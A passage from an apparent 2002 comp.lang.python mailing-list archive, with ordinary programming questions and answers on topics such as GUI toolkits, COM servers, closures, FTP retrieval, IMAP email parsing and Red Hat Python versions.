noses - but I strongly suggest that you spend the short amount of time required to see if it will meet your needs. At the very least, prototype your games in Python - it usually takes less time to prototype in Python, the recode in another language, than to do it all in the other language to begin with. And you may just find that there is no need to take the extra recoding step. Tim Delaney From pinard at iro.umontreal.ca Sun May 5 12:39:01 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 05 May 2002 12:39:01 -0400 Subject: Topy 0.2 Message-ID: Hi! An second snapshot of the in-the-works Topy is available as: http://www.iro.umontreal.ca/~pinard/topy/Topy.tar.gz This is still all very pre-alpha. I make it available after someone asked for a YACC-able Python grammar, see `Topy-0.2/Topy/FrontEnd/python.py'. One of these days, maybe, who knows :-), Topy might provide initial help to people having to convert Perl or Scheme scripts to Python. Topy might also offer Python source reformatting and retro-fitting facilities. What's new since Topy 0.1? Surely nothing very usable yet... There is now a single `topy' program, instead of one separate program per known language (currently, Topy handles bits of Milou, Perl, Python and Scheme). The code generator now has bits for a more substantial Python pretty printer. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From aahz at pythoncraft.com Thu May 2 19:46:43 2002 From: aahz at pythoncraft.com (Aahz) Date: 2 May 2002 19:46:43 -0400 Subject: print , (was Re: Python vs. Perl, which is better to learn?) References: <9IcA8.90097$vF6.2684221@news2.tin.it> Message-ID: In article , Alex Martelli wrote: >Aahz wrote: >>Alex: >>> >>>for line in fileinput.input(): >>> if there.search(line): print line, >> >> Thanks! I don't really like "print line,", because it adds an extra >> space that wasn't there before, > >Where do you think it adds that space...? > >[alex at lancelot indomo]$ cat -E prova >uno due tre$ >sei due cinque$ >palik palok$ >tre due uno$ >[alex at lancelot indomo]$ python mygrep.py due prova | cat -E >uno due tre$ >sei due cinque$ >tre due uno$ Learn something new every frickin' day. I was not familiar with this extra cute magic behavior of "print ," at the end of a line. I guess I like it, but I'm still a bit suspicious for no reason -- I think I got confused way back when I was first learning Python and got the double-spaced output of regular print, assuming that a space still got stuck at the end of a line with "print ,", and never actually trying it. Let this be a lesson to you newbies. ;-) (But I have no clue what lesson it should be...) -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From newsfroups at jerf.org Fri May 17 10:59:27 2002 From: newsfroups at jerf.org (Jeremy Bowers) Date: Fri, 17 May 2002 14:59:27 GMT Subject: pygtk vs. wxPython References: <3CE4E081.10908@thomas-guettler.de> Message-ID: <3CE51AF1.5010108@jerf.org> Thomas Guettler wrote: > Hi! > > I investigated during the last weeks which is better: > +pygtk or wxpython. > > After programming some code with both libraries, I prefer > pygtk. This is a good reason to prefer pygtk. > I prefere pygtk because wxpython has an extra layer in > the library stack: > > wxpython -- wxwindows -- wxgtk -- gtk > > pygtk -- gtk > > Do others share or disagree with this oppinion? No offense intended, but this is a rather silly reason, plus it's wrong. Firtst, nowadays, the question is not "How complicated is the implementation?" so much as "Does it work?" If something sits on top of Windows and implements a GUI, it's complicated, period. (GUIs are inherently complicated.) It's not a differentiating factor. Secondly, your stack is incorrect. For wxPython, AFAIK, it goes like this: (On windows machines) wxPython -> wxWindows (MFC) -> WinAPI (On XWindows machines) wxPython -> wxGTK -> GTK -> XWin API (On either) pyGTK -> GTK -> XWin API wxWindows is a specification with seperate implementations for each library, which is why there are varying levels of support for some of the implementations (mostly the marginal ones). wxWindows never "calls" wxGTK, on XWindows machines, wxWindows *is* wxGTK. Again, the complexity is a null factor here. The question is, which do you prefer? Add up your requirements. If you just want to run on Linux, and don't need any of the extra widgets wxWindows may provide, then pyGTK is fine. (I don't know how pyGTK does on Windows, though my guess would be "not well for another year or two yet, if anybody's actually trying to make it work", despite what the FAQ says. Sometimes, the programmer's idea of "well" and the user's idea of "well" can differ... "works well as long as you only use the core widgets". Correction welcomed, but keep the last sentence in mind; my definition of "well" is "no major surprises, even if you do use gtkObscureWidget with the gtkObscureOption.") If you want cross-platform capabilities, or need a widget that is in wxWindows but not pyGTK, then go wxWindows. From ssuchoi at hot.co.kr Fri May 17 07:24:08 2002 From: ssuchoi at hot.co.kr (ssuchoi) Date: 17 May 2002 20:24:08 +0900 Subject: Please try again Message-ID: <3W-SMTP-AJGzrLCCtgx00023f7b@3w-smtp-aj.korea.com> *********************** The file, (l-bashfv[2].pif), was infected with the WORM_KLEZ.H computer virus. The following action has been taken: remove. ***********-*********** -------------- next part -------------- An embedded message was scrubbed... From: ssuchoi Subject: Please try again Date: no date Size: 581 URL: From b.hall at irl.cri.nz Sun May 5 22:09:56 2002 From: b.hall at irl.cri.nz (Blair Hall) Date: Mon, 06 May 2002 14:09:56 +1200 Subject: Newbie COM problem Message-ID: <3CD5E5F4.C7DD3B50@irl.cri.nz> I was trying to get the example from Chapter 5 "Python programming on win32" to work. The example is a simple COM server. The code I have used is: class PythonUtilities: _public_methods_ = [ 'SplitString' ] _reg_progid_ = "PythonDemos.Utilities" _reg_clsid_ = "{41B329A0-14D2-498B-9F49-55B7203BE0E7}" def SplitString(self, val, item=None): import string if item != None : item = str(item) return string.split(str(val),item) if __name__ == '__main__': print "Registering COM" import win32com.server.register win32com.server.register.UseCommandLine(PythonUtilities) The class id was obtained by doing >>> print pythoncom.CreateGuid() Now when I execute this script I get the following message >>> Registering COM Warning: Can not locate a host .EXE for the COM server The server will not be registered with LocalServer32 support.Registered: PythonDemos.Utilities Can anyone explain what might have gone wrong? Thanks Blair From janto_d at hotmail.com Sat May 25 12:45:35 2002 From: janto_d at hotmail.com (Janto Dreijer) Date: 25 May 2002 09:45:35 -0700 Subject: Oberon in Python, ala Pyrex but instant compile? References: <3ce11bc3_4@goliath.newsgroups.com> <83k7ptkt6h.fsf@panacea.canonical.org> Message-ID: Kragen Sitaker wrote in message news:<83k7ptkt6h.fsf at panacea.canonical.org>... > janto_d at hotmail.com (Janto Dreijer) writes: > > I could keep on ranting (just ask) about oberon's flaws > > I'd be delighted to hear about Oberon's flaws; could you elaborate? I > have no practical experience with the thing, only experience reading > the "Project Oberon" book, which I find fascinating. I have already written a fairly large document discussing all of Oberon's faults, but I don't feel comfortable publishing it yet as I'm planning to submit it to our CS department to try and persuade them to change their primary language to "something else". Maybe I'll post something on it in the future. Probably on comp.lang.oberon :-) But in the meantime here's a few things that spring to mind. The Math library has no power function. The documenation available is of a very low quality which I think is mostly due to weak translation. It also has a lot of blindingly obvious errors in it. (A classic example of its silliness is where they advise the programmer to use INC(i) instead of i:=i+1 because "some systems are able to generate more effective code"! How much faster will my code run if I do this?!) Now it's the object orientation that really irritates me. I'll demonstrate it by rewriting the following Python code in Oberon: python ------- class Obj: def __init__(self, a): self.a = a def some_string_value(self): return str(self.a) if __name__ == "__main__": obj = Obj(3) print obj.some_string_value() oberon ------ MODULE Test; IMPORT Strings, Out; TYPE String = ARRAY 1024 OF CHAR; (* create own string type *) Obj = POINTER TO TObj; TObj = RECORD (* think of it as a class *) SomeStringValue : PROCEDURE(obj : Obj) : String; a : INTEGER; END; PROCEDURE CreateObj(a : INTEGER) : Obj; VAR obj : Obj; BEGIN NEW(obj); (* create in memory *) obj.a := a; obj.SomeStringValue := GetA; (* bind handler *) RETURN obj; END CreateObj; PROCEDURE GetA(obj : Obj) : String; VAR result : String; BEGIN Strings.IntToStr(obj.a, result); RETURN result; END GetA; PROCEDURE Run*; VAR obj : Obj; BEGIN obj := CreateObj(3); Out.String(obj.SomeStringValue(obj)); END Run; END Test. oberon is case sensitive, so keywords have to be in uppercase. The reasoning behind this seems to be readability. It looks like syntax coloring never reached that part of the world. I don't feel like commenting on the above code as it took me half an hour to write and I just don't have any enthusiasm left. I'm not sure I need to explicitly pass the object to its methods but i can't find another way to do it other than "obj.SomeStringValue(obj)" Probably the most important thing is that coding in oberon just isn't fun. I keep feeling like I'm coding myself into dead-ends - constantly waiting for the language to throw something at me that'll force a redesign. a small example: TYPE String = ARRAY 1024 OF CHAR; PROCEDURE f() : String; BEGIN RETURN "abc"; END f; This is one of the classic cases where the compiler crashes. One needs to create a temp variable to deal with this: PROCEDURE f() : String; VAR String result; BEGIN result := "abc"; RETURN result; END f; I feel kinda suicidal right now, so I think I'll just post this and go space out for a while. From siegfried.gonzi at kfunigraz.ac.at Thu May 16 15:45:55 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Thu, 16 May 2002 21:45:55 +0200 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE4075A.CBC21AD@noaa.gov> Message-ID: <3CE40C73.656A81B4@kfunigraz.ac.at> Chris Barker wrote: > I highly suspect that your memory leak is in your C or Fortran > functions. Python DOES NOT handle memory mangement for extenal > functions. If your C or Fortran functions create Python objects and > don't DECREF them properly, you can create a memory leak there. I have > had that problem. It is pretty easy to test for. before and after > calling your functions, do a memory use check. You could do this by hand > by putting a input() statement or something in to halt the code, or you > can write a little function that makes a system call to check how much > memory Python is using. I have dsone this on Linux, I have no idea how > on Windows. I have the clue now I think. I wrote (for the sake of testing) a Fortran 95 program in order to extract floating point values from a very large file (10MB). The scheme of the file is as follows: 12.233,NIL,22.334,NIL 1.23,0.002,0.0,NIL NIL,1223.334,33.34,4445 ... I write the array (400 000 of lines) into a Numeric array (NIL becomes -1.0). I repeat the task 10 times in a Python function. The Fortran 95 (F compiler from imagine1) takes on my laptop under Windows XP about 5 minutes for 10 reading cycles. The Fortran version collects about 133MB of RAM (I use also some pointers in the Fortran version). After reading 10 times the file Windows XP is very okay, and I do not have to reboot the system. This all on my Windows XP laptop. The same task now on my 1000 MHz Celeron, 256MB, laptop takes theoretically about 30 minutes; but practically it never ends. Beginning at the 10. reading cycle the system wreaks havoc (the first 9 readings are okay and every file access takes 60MB RAM; here the RAM consumption from one cycle to the next is constant; the Fortran version collects for every cycle and adds them up: 10 times 13MB). I know the above situation: Is it a memory leak? Windows XP shit? I did the same on my new installed Linux on my stationary machine (Pentium III 450MHz, 128MB RAM). Python takes on this machine 2 times longer than on my 1000Mhz Celeron (For comparison I write here the ideal situation if Python had stopped in 30 minutes on my Celeron laptop). After completing the task the system goes on normal. I did the same test on the same stationary machine but now under Windows NT 4.0 and Python. On Windows NT 4.0 the Python file reading function takes exactly the same amount of time than the version under Linux *and* after completing the task nothing happens and the system remains *stable*. There are only 2 explanations: Windows XP (NT 5.1) is shit or the combination Windows XP and laptop is not optimal. Normally I have Windows NT 4.0 running on my stationary machine for weeks without ever experiencing a blue screen. S. Gonzi From pinard at iro.umontreal.ca Fri May 24 17:49:14 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 24 May 2002 17:49:14 -0400 Subject: multithreading In-Reply-To: <3CE92CB9.64943F1F@engcorp.com> References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> <3CE92CB9.64943F1F@engcorp.com> Message-ID: [Peter Hansen] > Nothing is atomic except sending messages to a Queue. At least, if you > start with that premise you probably can't go wrong... But that premise looks much exaggerated. Python offers a nice variety of threading primitives, and it would look excessive limiting myself to Queue only. Aren't the others dependable? They should be. I surely like using them whenever they seem appropriate. > In what types of applications have you observed instability, and can > you describe the types of thread interaction you were using? Maybe it > would be instructive for beginners to learn alternative, known-clean > approaches to solving the same problems. It could yield an interesting discussion indeed. My applications might not have all the simplicity for such a discussion to be all flowing however, and the mere comments in the code are a bit lengthy already :-). But I'll try to find some time for sharing the problems I see, and maybe put the code available somewhere, if people feel like sharing discussion on this. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From andy47 at halfcooked.com Sun May 19 21:14:51 2002 From: andy47 at halfcooked.com (Andy Todd) Date: Mon, 20 May 2002 01:14:51 +0000 (UTC) Subject: problem with gadfly and py2exe References: <9eJF8.69521$zW3.1064537@news1.tin.it> Message-ID: "Max" wrote in news:9eJF8.69521$zW3.1064537 @news1.tin.it: > Hi folks! > I just started using gadfly (very nice for a small project...). I replaced a > small module written by myself with it, and now it works (better, i > suppose... ;) ). The problem is that when i try to make the "exe" with > py2exe the program stops when i try to initialize the db (db=gadfly.gadfly() > or db=gadfly.gadfly(dbname, dir)...) > I had a similar problem using my module in the beginning, because py2exe > could'nt find the shelve module by itself. I solved the problem for my own > module forcing the import of shelve, but this (as almost obvious...) doesn't > work for gadfly. > Has anybody experienced the same problem or has any idea of which modules > gadfly relies upon (and i might try to force import of in py2exe) ? > > Thanks in advance for any suggestion, > Max. > > > Err, I'm not an expert but I think the problem is in the chain of module imports that you trigger with "import gadfly". This will actually import a module which in turn relies on other modules which in turn rely on other modules, etc. As far as I'm aware py2exe isn't psychic and only knows what to package based on any "import" statements in your code. To the best of my knowledge gadfly doesn't rely on any external objects (apart from Python of course) but you will probably need a way to tell py2exe that it should package the whole package and not just the file that you explicitly import (which is actually called database.py I think, but lets not go there). Sorry I can't be more specific but hopefully this gives you something to go on with. Regards, Andy -- Contents free posts a speciality From aahz at pythoncraft.com Thu May 30 19:12:53 2002 From: aahz at pythoncraft.com (Aahz) Date: 30 May 2002 19:12:53 -0400 Subject: What does Python offer? References: <3CF6B12F.CFD4823C@engcorp.com> Message-ID: In article <3CF6B12F.CFD4823C at engcorp.com>, Peter Hansen wrote: >Aahz wrote: >> In article , >> news wrote: >>> >>>The following has a number of links to articles describing what is special >>>about Python: http://www.python.org/doc/Intros.html >>> >>>My favorite among these is Eric Raymond's "Why Python?" You should >>>definitely read it. >> >> Unfortunately, www.linuxjournal.com wasn't responding yesterday, and >> it's not responding today. > >Didn't Linux Journal email us and report that it was unfortunately >unable to sustain a viable business in today's business climate? Sure didn't e-mail me, and www.linuxjournal.com is now responding. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From logiplexsoftware at earthlink.net Thu May 2 13:42:52 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Thu, 2 May 2002 10:42:52 -0700 Subject: remove read only flag In-Reply-To: <7396d2b2.0205020847.59b0b1f0@posting.google.com> References: <7396d2b2.0205011236.201c9cb@posting.google.com> <7396d2b2.0205020847.59b0b1f0@posting.google.com> Message-ID: <20020502104252.4e7d9aac.logiplexsoftware@earthlink.net> On 2 May 2002 09:47:27 -0700 Lemniscate wrote: > Cliff Wells wrote in message news:... > > On 1 May 2002 13:36:13 -0700 > > > os.chmod(filename, 644) works on Win2k, provided of course you own the file or > > otherwise have adequate permissions to alter it. If you don't have those > > permissions then I don't see how using attrib is going to get around that. > > > > Unless-it's-another-Windows-security-hole'ly yrs, > > No, not another security hole; attrib works the same as the > file-permissions (in my experience). I didn't put it, but since you > are iterating over a list, you can flag files you can't modify. Also, > you may want certain files to retain some of their other, 'default' > file permissions (attrib changes only what you put). This is what I > meant about being careful about changing fps. Excellent point, > though True. I'm not sure how the Unix permission scheme is mapped onto the Windows scheme. I suppose if I had any sort of initiative I'd look in Python's platform-specific files and find out ;) Using attrib at least makes it obvious what exactly you are changing. -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From python at gbronline.com Wed May 15 15:44:00 2002 From: python at gbronline.com (Peter F. Ferris) Date: Wed, 15 May 2002 14:44:00 -0500 Subject: Page Hit Counter Vandalism & Writing FTP Results Message-ID: Hi All, Me again! I'm having a bit of a struggle trying to write the contents of one file in another, via FTP. Here's the deal: Someone (I know who, but...) is constantly "diddling" with the page count for a departmental web page I've done. He likes to change the counts to something fairly astronomical like, "932305709023" hits or somesuch... The count itself is stored in a simple text file called "default.asp.cnt" on the server. It's easy for him, with admin rights to diddle the file. So, I figured if I FTP'd the file, looked at it, if the change was out of bounds (say more than 100 hits since the last check) within a certain time (say 5 minutes), I'll say it was tampered with. I would re-write it with the previous value, and repeat processing. This is my first time using the FTP library & it's objects. The Crux of The Matter: I want countff ("count from file") to be the # of hits, as stored in "default.asp.cnt". I have the following lines of code (among others! But I feel the offending code may be here...): countff = str((ftp.retrlines('retr default.asp.cnt'))) ftp.retrlines('retr default.asp.cnt') print "countff var is: ", countff When this runs, countff - which I WANT to contain a # from my page hit count file - is actually "226 Transfer complete."!! So I'm snagging the result rather than the file contents itself. What am I doing incorrectly, and how do I fix it? I realize that both lines: countff = str((ftp.retrlines('retr default.asp.cnt'))) ftp.retrlines('retr default.asp.cnt') Do essentially the same thing. However, I can't write THAT value to a file. Both lines display a the total # of hits to the page, as stored in the "default.asp.cnt" on the server. All help TRULY appreciated, --Pete python AT wcom DOT com From hgg9140 at seanet.com Wed May 8 20:00:22 2002 From: hgg9140 at seanet.com (Harry George) Date: 08 May 2002 17:00:22 -0700 Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: Tim Roberts writes: > Red Hat 7.x uses Python 1.52 for many of its configuration and > administration activities. Ordinarily, I'd say this was a Good Thing for > the betterment and furtherance of Python. > > However, it makes it deucedly difficult to upgrade away from 1.52. If one > upgrades /usr/bin/python to be 2.x, all of Red Hat's custom configuration > scripts are no longer found in site-packages. > > How have other people handled this? Do you just copy all of > 1.52/site-packages to 2.x/site-packages? Do you install Python 2.x into a > separate directory and grumble every time you have to change the #! line in > your scripts? I tried updating all of the #! lines in the Red Hat scripts, > but this, of course, blows as soon as you do an rpm upgrade of a > Python-based package. > -- > - Tim Roberts, timr at probo.com > Providenza & Boekelheide, Inc. I think this has been discussed previously. Here is my approach: 1. Do absolutely nothing to the py1.5.2 installation or the RH scripts. Leave it exactly as is. 2. In your .bashrc (or equiv), put in: unset PYTHONHOME PYTHONPATH This keeps the RH defaults from pushing you into using 1.5.2 libraries. 3. Install py2.1, py2.2, etc in /usr/local. Call all your own scripts with these binaries (either on the #! line or on the commandline). The binary will look for PYTHONHOME and PYTHONPATH, not find them, and will go with its defaults. This way you can have several versions installed and operational at the same time. 4. If you need to force some paths, make a script, e.g. "py22" which does: #!/bin/sh export PYTHONHOME=my_special_place /usr/local/bin/python2.2 "$@" Call this as "py22" -- Harry George hgg9140 at seanet.com From BPettersen at NAREX.com Tue May 14 19:18:17 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Tue, 14 May 2002 17:18:17 -0600 Subject: how to write function that returns function Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192215179@admin56.narex.com> > From: Paul Graham [mailto:spam at bugbear.com] > > I am not a Python expert, and I'm hoping someone > can tell me how in Python to write a function > of one argument x that returns a function of one > argument y that returns x+y. It's bad form to ask for help on your homework problems, after all *YOU* are the one who is supposed to learn something... > Here, in Scheme, is what I want to write: > > (define foo (x) (lambda (y) (+ x y))) Well (+ x y) is spelled 'x + y' in Python. (lambda (y) ...) is spelled 'lambda y: ...' and (define foo (x) ...) is spelled def foo(x): ... putting it all together you get: def foo(x): lambda y: x + y very straight-forward. Now for some arcane matters. If you're running Python 2.2+ you're done. If you're running Python 2.1, you need to put 'from __future__ import nested_scopes' at the top of your module. If you're running Python 1.5.x, you need to change the lambda to: lambda y, x=x: x + y the x=x creates a binding local to the lambda which was required for the 1.5.x versions. [snip] > [To reply to me directly please use pg at bugbear.com, > removing the , because I don't check spam at bugbear.com.] If Guido can deal with the spam he gets from posting here, so can you. -- bjorn From harisri at bigpond.com Fri May 10 16:52:49 2002 From: harisri at bigpond.com (Srihari Vijayaraghavan) Date: Fri, 10 May 2002 20:52:49 +0000 Subject: Can string format operator help me? References: <284b44c2.0205092224.523bccca@posting.google.com> Message-ID: <8dMC8.7317$b5.25380@newsfeeds.bigpond.com> Hello Martin and Skip, Martin v. L?wis wrote: > You should use '%6d' for that. > > Regards, > Martin Skip Montanaro wrote: > How about: > >>>> i = 1 >>>> while i <= 1000000: > ... print "%7d" % i > ... i *= 10 > ... > 1 > 10 > 100 > 1000 > 10000 > 100000 > 1000000 > Thanks for your help. Now I understand the idea. -- Hari. harisri at bigpond.com From tjreedy at udel.edu Thu May 30 10:08:01 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 30 May 2002 14:08:01 GMT Subject: How to concatenate list members References: Message-ID: <5nqJ8.67281$Kp.6772510@bin7.nnrp.aus1.giganews.com> "Eric Brunel" wrote > Ruediger Maehl wrote: > > I know, I can use a for loop over all elements and concatenate > > them to one string. But is there another more efficient solution? > > > > def concat1(alist, sep=" "): > > res = "" > > for e in alist: > > res += str(e) > > res += sep > > return res[:-1] > > > > a = ["200100002", "200100003", "200100004"] # many many more to come ... > > > > b = concat1(a, "_") > > # "200100002_200100003_200100004" > Try this: > > def concat1(alist, sep=" "): > if not alist: return '' > return reduce(lambda x,y,sep=sep: x + sep + y, alist) > > The "if" is necessary because as it's written, the reduce won't work on empty lists. > If you like one-liners, you can also do this: > b = (a and reduce(lambda x,y: x + "_" + y, a)) or '' Add '' as the third parameter to reduce and it will work with empty lists ... but adds an extra separator for non-empty lists ... as the OP discovered ... >>> a = ["200100002", "200100003", "200100004"] >>> reduce(lambda x,y: x + "_" + y, a, '') '_200100002_200100003_200100004' >>> reduce(lambda x,y: x + "_" + y, [], '') '' However, any reduce version is algorithmically equivalent to a for loop: it has the same quadratic behavior and does not answer the quest for the linear behavior that .join() provides. .join() also properly handles the 0 versus n-1 separators problem Terry J. Reedy From eppstein at ics.uci.edu Thu May 2 16:47:51 2002 From: eppstein at ics.uci.edu (David Eppstein) Date: Thu, 02 May 2002 13:47:51 -0700 Subject: Newbie: finding the key/index of the min/max element References: <200204301620.00255.bhan@andrew.cmu.edu> <3CD14EE9.22B7F4F2@cascade-sys.com> Message-ID: In article , Alex Martelli wrote: > Of course not. In performance issues, one must always distinguish > between "big-O" ones, and ones that boil down to mere multiplicative > constants. Of course, in Python, understanding big-O performance can be a little tricky -- you need to know something about the implementation details. For instance, a loop append()ing items to a list turns out to take constant average-time per append, in C-python, but one might imagine an implementation (like Java Vectors with a nonzero capacityIncrement) where the time per append grows linearly in the length of the vector. And other very similar operations, like inserting to the front of the list, take linear rather than constant time, but one could imagine implementations where that is not true. Also, in Python, there is a big performance gap between built-ins (or precompiled C functions in general) and interpreted code, which may override big-O considerations: e.g. if you want to find the median of a list, I'm pretty sure it would usually be better just to sort the list and return the middle item, instead of using a linear-time median finding algorithm, despite the nonlinear big-O time of a sort. -- David Eppstein UC Irvine Dept. of Information & Computer Science eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/ From tim at worthy.demon.co.uk Fri May 10 05:06:12 2002 From: tim at worthy.demon.co.uk (Tim Howarth) Date: Fri, 10 May 2002 10:06:12 +0100 Subject: imaplib/email - parsing problem Message-ID: <91b15c344b.tim@worthy.demon.co.uk> I've been trying to use imaplib to fetch email from a server then use the email module to decode the messages. (Python 2.2.1) But I've hit a problem with email.message_from_string Either I've misunderstood, it's a bug, it's a server feature, it's an email module "feature" or just, I haven't found it in the docs - can anyone explain. I've made a small test which fetches the first email from the server using code taken from the examples in the docs. The message has plain text and attachment. However it isn't parsed properly and I get just one part which is the whole message (without headers). ( Using Python 2.2 produces Traceback (most recent call last): File "D:\Peeps\Tim\IMAP\eg.py", line 21, in ? fp.write(part.get_payload(decode=1)) TypeError: argument 1 must be string or read-only buffer, not instance ) I can get it parsed properly by replacing CR's in the raw message - dd=dd.replace('\r','') which then produces 2 files - text and decoded attachment. The message as fetched has CRLF pairs, if saved ('w' not 'wb') it produces CRCRLF line endings which I assume is a related problem. Anyway back to the question, should it work without this fiddling ? import imaplib, email, os M =imaplib.IMAP4('192.168.0.1') M.login('timbo', '12345') M.select() typ, data = M.fetch(1, '(RFC822)') dd=data[0][1] #dd=dd.replace('\r','') msg=email.message_from_string(dd) counter = 1 dir=r'd:\mess' for part in msg.walk(): if part.is_multipart(): continue counter += 1 fp = open(os.path.join(dir,'Part%s'%counter), 'wb') fp.write(part.get_payload(decode=1)) fp.close() M.logout() -- ___ |im ---- ARM Powered ---- From peter at engcorp.com Tue May 28 07:34:09 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 28 May 2002 07:34:09 -0400 Subject: Python XML parsing example References: <3CF2CFA2.430245EC@engcorp.com> Message-ID: <3CF36B31.86C86F93@engcorp.com> "Martin v. Loewis" wrote: > > Peter Hansen writes: > > > Hmm... I was working on an example for you but PyXML 0.7.1 (and 0.7.0 > > before it) seem to be broken and I can't import stylesheets at all! > > (It's related to > > http://sourceforge.net/tracker/index.php?func=detail&aid=421488&group_id=6473&atid=106473 > > ) > > > > I believe my setup at work (probably using 0.6.x) will handle it, so > > I'll have to wait until tomorrow (and so will you, if no one else replies :). > > PyXML 0.6.x has no XSLT support, so if you want working xml.xslt, you > need to use PyXML+4Suite. Hmmm.... then I must have done that already at work. I'll check out which versions of what I'm using that actually work. I notice bugs in the bug tracker reporting the same problems I've been having. I *thought* XSLT worked on my home machine, but I must be remembering wrong... -Peter From jblazi at hotmail.com Wed May 22 17:57:24 2002 From: jblazi at hotmail.com (jb) Date: Wed, 22 May 2002 23:57:24 +0200 Subject: Executing a system command Message-ID: <3cec0fa1_1@news2.newsgroups.com> I should like to execute the bash command (cd prefix;latex file.tex;dvips file) Can I do that with the os.system function? It seems I am having diffculties with that. TIA, -- Janos Blazii "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From southey at uiuc.edu Wed May 29 17:39:02 2002 From: southey at uiuc.edu (Bruce Southey) Date: Wed, 29 May 2002 16:39:02 -0500 Subject: Urllib with incorrect authentication Message-ID: <3CF54A76.BCB020CD@uiuc.edu> Hi, I am using urllib to access a password protected site in a cgi script as: page=urllib.urlopen('http://username:password at somesite','some parameters') This works very nicely except when username/password combinations are wrong. How to do I override the default prompt when the username/password are invalid? Thanks, Bruce Southey From gerhard at bigfoot.de Fri May 31 06:02:49 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 31 May 2002 10:02:49 GMT Subject: count file References: <3cf734ba_1@news.iprimus.com.au> <53HJ8.7782$fG3.277261@news2.ulv.nextra.no> Message-ID: In article <53HJ8.7782$fG3.277261 at news2.ulv.nextra.no>, Erlend J. Leiknes wrote: > import os.path > path = "/" > items = os.path.listdir(path) > myfiles = [] > for i in range(len(items): > if os.path.isfile(path + items[i]): > myfiles.append(path + items[i]) It's better to use os.path.join to join path elements, as this will work on any platform. There's no cross-platform way to get the root directory, though. On some platforms (Windows, for example), there might not even be a single root directory. Gerhard From cliechti at gmx.net Mon May 27 16:11:02 2002 From: cliechti at gmx.net (Chris Liechti) Date: 27 May 2002 22:11:02 +0200 Subject: Thought on PEP 204 and 276 References: Message-ID: Steve Horne wrote in news:ckp4fuc4fskjcpilnn2mrt3665fqvld92g at 4ax.com: > > I can't help being disappointed that PEP 204 was rejected. To me, > > for i in [0:10] : > > is much more intuitive than the PEP 276 version > > for i in 10 : > > As for the ideas like allowing '[1, 5:10, 20]' but all those don't make a real imprevement (some would say the would make the language worse). what would be more useful is the ability to write different open/closed itervals, such as 0 range(1,8). if shortness is your motivation, just define "r=range" or make a class with __getitem__ and give it a short name. i think such indeas came up when the discussion happened. and in the end, >>> import this: "explicit is better than implicit" chris -- Chris From stephen at xemacs.org Wed May 15 03:08:05 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 15 May 2002 16:08:05 +0900 Subject: Multibyte Character Surport for Python References: <7a8E8.41035$CN3.1405517@news2.tin.it> Message-ID: <87r8kddh2i.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Alex" == Alex Martelli writes: Alex> OTOH, I think identifiers have a better track record. Yes, Alex> a fraction of them are unhelpful or (more rarely) actively Alex> misleading -- more often, however, i find them quite Alex> informative and helpful in understanding what's going on in Alex> code. In fact, I suspect you're saying something stronger than "more often," more like "the great majority." However, this is less true in code written by Japanese; it is fairly often true that English vocabulary plus Japanese syntax leads to something actively misleading. I agree with you about hiding comments, but occasionally such identifiers are disentangled by seeing a more extensive comment written in the same non-English syntax. I suspect that your argument about usefulness of English identifiers is not at all robust outside of native speakers of European languages. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From skip at pobox.com Mon May 13 20:40:03 2002 From: skip at pobox.com (Skip Montanaro) Date: Mon, 13 May 2002 19:40:03 -0500 Subject: intermittent MySQLdb import problem on Solaris 7 In-Reply-To: References: Message-ID: <15584.23779.81814.619026@12-248-41-177.client.attbi.com> John> One of the hosts (the one I've been logging into all these times) John> is fine. However, the other one lacks a John> /usr/local/lib/libgcc_s.so.1. John> I've asked them to fix the issue for me. I can only hope they will. In the meantime, is a gcc 2.9x version available? The libgcc thing is new with gcc 3.x. If you can recompile _mysql with 2.95 or 2.96 this particular problem should disappear. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From jason-dated-1022700360.9a9240 at mastaler.com Tue May 21 15:26:00 2002 From: jason-dated-1022700360.9a9240 at mastaler.com (Jason R. Mastaler) Date: Tue, 21 May 2002 15:26:00 -0400 (EDT) Subject: rfc822 module: deleting headers Message-ID: <1022009160.18856.TMDA@nightshade.la.mastaler.com> This question concerns how to remove headers from an incoming mail message using the rfc822 module. The docs say: Message instances also support the mapping writable interface m[name] = value and del m[name]. So take the following program invoked from a .qmail file (qmail's equivalent of .forward): #!/usr/bin/env python import cStringIO, rfc822, sys stdin = cStringIO.StringIO(sys.stdin.read()) headers = rfc822.Message(stdin) body = stdin.read() print headers.headers del headers['Message-ID'] print headers.headers 